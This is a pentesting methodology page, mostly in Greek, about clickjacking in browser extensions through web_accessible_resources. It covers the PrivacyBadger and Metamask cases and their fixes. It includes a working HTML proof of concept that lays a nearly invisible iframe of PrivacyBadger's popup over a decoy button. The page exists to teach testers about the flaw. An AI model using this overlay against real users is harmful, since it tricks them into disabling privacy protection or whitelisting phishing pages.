hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

128 lines
9.7 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Αυτή η σελίδα θα εκμεταλλευτεί μια ευπάθεια ClickJacking σε μια επέκταση προγράμματος περιήγησης.\
Αν δεν ξέρετε τι είναι το ClickJacking, ελέγξτε:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Οι επεκτάσεις περιέχουν το αρχείο **`manifest.json`** και αυτό το αρχείο JSON έχει ένα πεδίο `web_accessible_resources`. Να τι λένε τα [έγγραφα του Chrome](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) γι' αυτό:
> Αυτοί οι πόροι θα είναι διαθέσιμοι σε μια ιστοσελίδα μέσω του URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, το οποίο μπορεί να παραχθεί με τη μέθοδο **`extension.getURL`**. Οι πόροι που έχουν επιτραπεί παρέχονται με κατάλληλους CORS επικεφαλίδες, έτσι είναι διαθέσιμοι μέσω μηχανισμών όπως το XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Οι **`web_accessible_resources`** σε μια επέκταση προγράμματος περιήγησης δεν είναι απλώς προσβάσιμοι μέσω του ιστού; λειτουργούν επίσης με τα εγγενή προνόμια της επέκτασης. Αυτό σημαίνει ότι έχουν τη δυνατότητα να:
2024-02-06 03:10:38 +00:00
* Αλλάξουν την κατάσταση της επέκτασης
* Φορτώσουν επιπλέον πόρους
* Αλληλεπιδρούν με τον περιηγητή σε κάποιο βαθμό
2024-02-06 03:10:38 +00:00
Ωστόσο, αυτή η δυνατότητα παρουσιάζει έναν κίνδυνο ασφάλειας. Αν ένας πόρος εντός των **`web_accessible_resources`** έχει οποιαδήποτε σημαντική λειτουργικότητα, ένας επιτιθέμενος θα μπορούσε δυνητικά να ενσωματώσει αυτόν τον πόρο σε μια εξωτερική ιστοσελίδα. Οι ανυποψίαστοι χρήστες που επισκέπτονται αυτή τη σελίδα μπορεί να ενεργοποιήσουν ακούσια αυτόν τον ενσωματωμένο πόρο. Μια τέτοια ενεργοποίηση θα μπορούσε να οδηγήσει σε απρόβλεπτες συνέπειες, ανάλογα με τις άδειες και τις δυνατότητες των πόρων της επέκτασης.
## PrivacyBadger Example
Στην επέκταση PrivacyBadger, εντοπίστηκε μια ευπάθεια σχετική με τον φάκελο `skin/` που δηλώθηκε ως `web_accessible_resources` με τον εξής τρόπο (Ελέγξτε την αρχική [ανάρτηση στο blog](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-10 22:40:18 +00:00
"skin/*",
"icons/*"
]
```
Αυτή η ρύθμιση οδήγησε σε ένα πιθανό πρόβλημα ασφάλειας. Συγκεκριμένα, το αρχείο `skin/popup.html`, το οποίο αποδίδεται κατά την αλληλεπίδραση με το εικονίδιο PrivacyBadger στον περιηγητή, θα μπορούσε να ενσωματωθεί μέσα σε ένα `iframe`. Αυτή η ενσωμάτωση θα μπορούσε να εκμεταλλευτεί για να παραπλανήσει τους χρήστες να κάνουν ακούσια κλικ στο "Απενεργοποίηση PrivacyBadger για αυτόν τον ιστότοπο". Μια τέτοια ενέργεια θα έθετε σε κίνδυνο την ιδιωτικότητα του χρήστη απενεργοποιώντας την προστασία PrivacyBadger και ενδεχομένως υποβάλλοντας τον χρήστη σε αυξημένη παρακολούθηση. Μια οπτική επίδειξη αυτής της εκμετάλλευσης μπορεί να προβληθεί σε ένα παράδειγμα βίντεο ClickJacking που παρέχεται στο [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Για να αντιμετωπιστεί αυτή η ευπάθεια, εφαρμόστηκε μια απλή λύση: η αφαίρεση του `/skin/*` από τη λίστα των `web_accessible_resources`. Αυτή η αλλαγή μείωσε αποτελεσματικά τον κίνδυνο διασφαλίζοντας ότι το περιεχόμενο του καταλόγου `skin/` δεν θα μπορούσε να προσπελαστεί ή να παραποιηθεί μέσω πόρων προσβάσιμων από το διαδίκτυο.
Η διόρθωση ήταν εύκολη: **αφαιρέστε το `/skin/*` από τα `web_accessible_resources`**.
### PoC
```html
2024-02-06 03:10:38 +00:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-10 22:40:18 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-10 22:40:18 +00:00
float: top;
position: absolute;
}
button {
2024-02-10 22:40:18 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-10 22:40:18 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask Example
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). In this case, Metamask fixed the vulnerability by checking that the protocol used to access it was **`https:`** or **`http:`** (not **`chrome:`** for example):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**Ένα άλλο ClickJacking που διορθώθηκε** στην επέκταση Metamask ήταν ότι οι χρήστες μπορούσαν να **Κάνουν κλικ για να προσθέσουν στη λευκή λίστα** όταν μια σελίδα ήταν ύποπτη για phishing λόγω του `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Καθώς αυτή η σελίδα ήταν ευάλωτη σε Clickjacking, ένας επιτιθέμενος θα μπορούσε να την εκμεταλλευτεί δείχνοντας κάτι φυσιολογικό για να κάνει το θύμα να κάνει κλικ για να την προσθέσει στη λευκή λίστα χωρίς να το παρατηρήσει, και στη συνέχεια να επιστρέψει στη σελίδα phishing που θα έχει προστεθεί στη λευκή λίστα.
## Steam Inventory Helper Example
Check the following page to check how a **XSS** in a browser extension was chained with a **ClickJacking** vulnerability:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
## References
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 03:10:38 +00:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}